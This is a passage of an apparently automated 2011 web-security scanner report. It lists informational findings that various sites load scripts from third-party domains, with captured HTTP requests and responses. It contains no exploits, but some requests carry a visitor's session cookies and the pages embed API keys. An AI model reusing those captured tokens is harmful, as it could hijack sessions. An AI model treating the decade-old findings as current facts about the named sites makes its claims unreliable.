13.66. https://www.onekingslane.com/join/api%252Fcustomer-summary.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join/api%252Fcustomer-summary.xml

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js
https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.14/jquery-ui.min.js
https://cdn.optimizely.com/js/7259088.js
https://sec.levexis.com/clientfiles/v3/onekingslane.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:37 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 15892
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html>
<head>
<script type="text/javascript" src="//cdn.optimizely.com/js/7259088.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.14/jquery-ui.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="https://sec.levexis.com/clientfiles/v3/onekingslane.js"></script>
...[SNIP]...

13.67. http://www.ortussolutions.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ortussolutions.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://widgets.twimg.com/j/2/widget.js

Request

GET / HTTP/1.1
Host: www.ortussolutions.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://coldbox.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=463913; CFTOKEN=fcf8c721c8b2670e-40BCBA0F-FB46-D832-C6293E0C58B5A1A6; __utma=119068758.1923299070.1314798151.1314798151.1314798151.1; __utmz=119068758.1314798151.1.1.utmcsr=coldbox.org|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:51:19 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 11436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Ortus Solutions, C
...[SNIP]...
</p> <script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...

13.68. http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcworld.com
Path:	/article/216731/simple_cheap_apps_for_keeping_secrets_online.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js?
http://cdn.gigya.com/js/socialize.js?apiKey=2_cyT43nnmGBLrcjJe5U_E9DFbmhuzMJ9Y7DrGQ7aR-5yHczjRlVFXGvL60CPcBw2T
http://cdn.krxd.net/krux.js
http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://zapp4.staticworld.net/js/adlinks.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:37 GMT
Server: Apache
X-GasHost: gas2
X-Cooking-With: Gasoline-Local
X-Gasoline-Age: 1
Last-Modified: Mon, 19 Sep 2011 19:16:42 GMT
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 82526

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<link rel="stylesheet" type="text/css" media="all" href="/styles/jquery.lightbox-0.5.css" />
<script type="text/javascript" src="http://cdn.gigya.com/js/socialize.js?apiKey=2_cyT43nnmGBLrcjJe5U_E9DFbmhuzMJ9Y7DrGQ7aR-5yHczjRlVFXGvL60CPcBw2T"></script>
...[SNIP]...

<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js?" ></script>
...[SNIP]...
</div>
   <script type="text/javascript" src="http://zapp4.staticworld.net/js/adlinks.js"></script>
...[SNIP]...
</script>
   <script src="http://cdn.krxd.net/krux.js"></script>
...[SNIP]...

13.69. http://www.pedigolaw.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pedigolaw.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://s7.addthis.com/js/250/addthis_widget.js
http://stats.wordpress.com/e-201138.js

Request

GET / HTTP/1.1
Host: www.pedigolaw.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.goclio.com/our_customers/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:27:18 GMT
Server: Apache
X-Pingback: http://www.pedigolaw.com/xmlrpc.php
Link: <http://wp.me/So5R>; rel=shortlink
Vary: Accept-Encoding
Content-Length: 26996
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head profi
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=bpedigo"></script>
...[SNIP]...
<script src="http://stats.wordpress.com/e-201138.js" type="text/javascript"></script>
...[SNIP]...

13.70. http://www.pedigolaw.com/wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pedigolaw.com
Path:	/wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js

Issue detail

The response dynamically includes the following script from another domain:

http://platform.twitter.com/widgets.js

Request

Response

13.71. http://www.reddit.com/static/button/button1.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/static/button/button1.html

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js

Request

Response

13.72. http://www.reddit.com/static/button/button2.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/static/button/button2.html

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js

Request

Response

13.73. http://www.simplyhired.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://connect.facebook.net/en_US/all.js

Request

Response

13.74. http://www.simplyhired.com/a/accounts/login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/accounts/login

Issue detail

The response dynamically includes the following script from another domain:

http://edge.quantserve.com/quant.js

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a776%3Bv%3D4; path=/; domain=.simplyhired.com
Set-Cookie: shua=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 4085

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Login |
...[SNIP]...

<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

13.75. http://www.simplyhired.com/a/jobs/list/q-xss previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/jobs/list/q-xss

Issue detail

The response dynamically includes the following scripts from other domains:

http://s3.amazonaws.com/ki.js/14502/2Gx.js
http://www.google.com/jsapi

Request

Response

13.76. http://www.simplyhired.com/a/our-company/about-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/our-company/about-us

Issue detail

The response dynamically includes the following script from another domain:

http://edge.quantserve.com/quant.js

Request

Response

13.77. http://www.simplyhired.com/a/our-company/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/our-company/contact-us

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://feeds.feedburner.com/feedburner/qrPI?format=sigpro&displayExcerpts=true&excerptFormat=plain&excerptLength=20&displayDate=false
http://www.google.com/recaptcha/api/challenge?k=6Lc468ESAAAAAFaOrinM38u-MZHZbxbT4ZIFmXt0

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a776%3Bv%3D6; path=/; domain=.simplyhired.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:50 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:50 GMT; path=/
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 22072

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Contact
...[SNIP]...
</script><script type="text/javascript" src="http://www.google.com/recaptcha/api/challenge?k=6Lc468ESAAAAAFaOrinM38u-MZHZbxbT4ZIFmXt0"></script>
...[SNIP]...
<div class="info_top">
<script type="text/javascript" src="http://feeds.feedburner.com/feedburner/qrPI?format=sigpro&displayExcerpts=true&excerptFormat=plain&excerptLength=20&displayDate=false"></script>
...[SNIP]...

<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

13.78. http://www.spro.com/Default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.spro.com
Path:	/Default.asp

Issue detail

The response dynamically includes the following script from another domain:

https://verify.volusion.com/verification/www.spro.com

Request

Response

13.79. http://www.styleshout.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.styleshout.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cetrk.com/pages/scripts/0004/8186.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.styleshout.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://coldbox.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:51:19 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 10621
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div class="displaynone">
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://cetrk.com/pages/scripts/0004/8186.js"> </script>
...[SNIP]...

13.80. http://www.techhail.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techhail.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cache.blogads.com/347021936/feed.js
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=160X600&cwpid=523298&cwwidth=160&cwheight=600&cwpnet=1&cwtagid=74182
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=74249
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=523298&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=74184
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.statcounter.com/counter/counter_xhtml.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:16:30 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Vary: Accept-Encoding,Cookie,User-Agent
Expires: Mon, 19 Sep 2011 19:20:40 GMT
Pragma: public
Cache-Control: public, must-revalidate, proxy-revalidate
X-Powered-By: W3 Total Cache/0.9.2.4
X-Pingback: http://www.techhail.com/xmlrpc.php
Last-Modified: Mon, 19 Sep 2011 18:20:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 27988

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profile
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://cache.blogads.com/347021936/feed.css" /><script language="javascript" src="http://cache.blogads.com/347021936/feed.js"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=160X600&cwpid=523298&cwwidth=160&cwheight=600&cwpnet=1&cwtagid=74182"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=74249"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=523298&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=74184"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://www.statcounter.com/counter/counter_xhtml.js"></script>
...[SNIP]...

13.81. http://www.techhail.com/computers/gigabyte-motherboards-india/8481 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techhail.com
Path:	/computers/gigabyte-motherboards-india/8481

Issue detail

The response dynamically includes the following scripts from other domains:

http://cache.blogads.com/347021936/feed.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://resources.infolinks.com/js/infolinks_main.js
http://scripts.chitika.net/eminimalls/amm.js
http://static.ak.connect.facebook.com/connect.php/en_US
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=160X600&cwpid=523298&cwwidth=160&cwheight=600&cwpnet=1&cwtagid=74182
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=74249
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=523298&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=74184
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.statcounter.com/counter/counter_xhtml.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:28:05 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Vary: Accept-Encoding,Cookie,User-Agent
Expires: Mon, 19 Sep 2011 20:23:44 GMT
Pragma: public
Cache-Control: public, must-revalidate, proxy-revalidate
X-Powered-By: W3 Total Cache/0.9.2.4
X-Pingback: http://www.techhail.com/xmlrpc.php
Last-Modified: Mon, 19 Sep 2011 19:23:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 28979

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profile
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script src="http://scripts.chitika.net/eminimalls/amm.js" type="text/javascript"></script></div><div align="center"><script type="text/javascript" src="http://static.ak.connect.facebook.com/connect.php/en_US"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://cache.blogads.com/347021936/feed.css" /><script language="javascript" src="http://cache.blogads.com/347021936/feed.js"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=160X600&cwpid=523298&cwwidth=160&cwheight=600&cwpnet=1&cwtagid=74182"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=74249"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=523298&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=74184"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://www.statcounter.com/counter/counter_xhtml.js"></script>
...[SNIP]...

13.82. http://www.techhail.com/headline/top-best-iphone-games/8468 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techhail.com
Path:	/headline/top-best-iphone-games/8468

Issue detail

The response dynamically includes the following scripts from other domains:

http://cache.blogads.com/347021936/feed.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://resources.infolinks.com/js/infolinks_main.js
http://scripts.chitika.net/eminimalls/amm.js
http://static.ak.connect.facebook.com/connect.php/en_US
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=160X600&cwpid=523298&cwwidth=160&cwheight=600&cwpnet=1&cwtagid=74182
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=74249
http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=523298&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=74184
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.statcounter.com/counter/counter_xhtml.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:27:18 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Vary: Accept-Encoding,Cookie,User-Agent
Expires: Mon, 19 Sep 2011 20:22:59 GMT
Pragma: public
Cache-Control: public, must-revalidate, proxy-revalidate
X-Powered-By: W3 Total Cache/0.9.2.4
X-Pingback: http://www.techhail.com/xmlrpc.php
Last-Modified: Mon, 19 Sep 2011 19:22:59 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 44860

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profile
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script src="http://scripts.chitika.net/eminimalls/amm.js" type="text/javascript"></script></div><div align="center"><script type="text/javascript" src="http://static.ak.connect.facebook.com/connect.php/en_US"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://cache.blogads.com/347021936/feed.css" /><script language="javascript" src="http://cache.blogads.com/347021936/feed.js"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=160X600&cwpid=523298&cwwidth=160&cwheight=600&cwpnet=1&cwtagid=74182"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=73811"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=523298&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=74249"></script>
...[SNIP]...
</script><script src="http://tag.contextweb.com/TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=523298&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=74184"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://www.statcounter.com/counter/counter_xhtml.js"></script>
...[SNIP]...

13.83. http://www.techwev.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:20:05 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: W3 Total Cache/0.9.2.4
Last-Modified: Mon, 19 Sep 2011 19:20:07 GMT
Content-Length: 35804
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

13.84. http://www.techwev.com/category/apple/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/category/apple/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:31:22 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: W3 Total Cache/0.9.2.4
Last-Modified: Mon, 19 Sep 2011 19:31:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24710

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

13.85. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/external.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/external.js

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

13.86. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

13.87. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/slideshow.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/slideshow.js

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

13.88. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

13.89. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/suckerfish.js

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

13.90. http://www.twittergadget.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
https://apis.google.com/js/plusone.js

Request

GET / HTTP/1.1
Host: www.twittergadget.com
Proxy-Connection: keep-alive
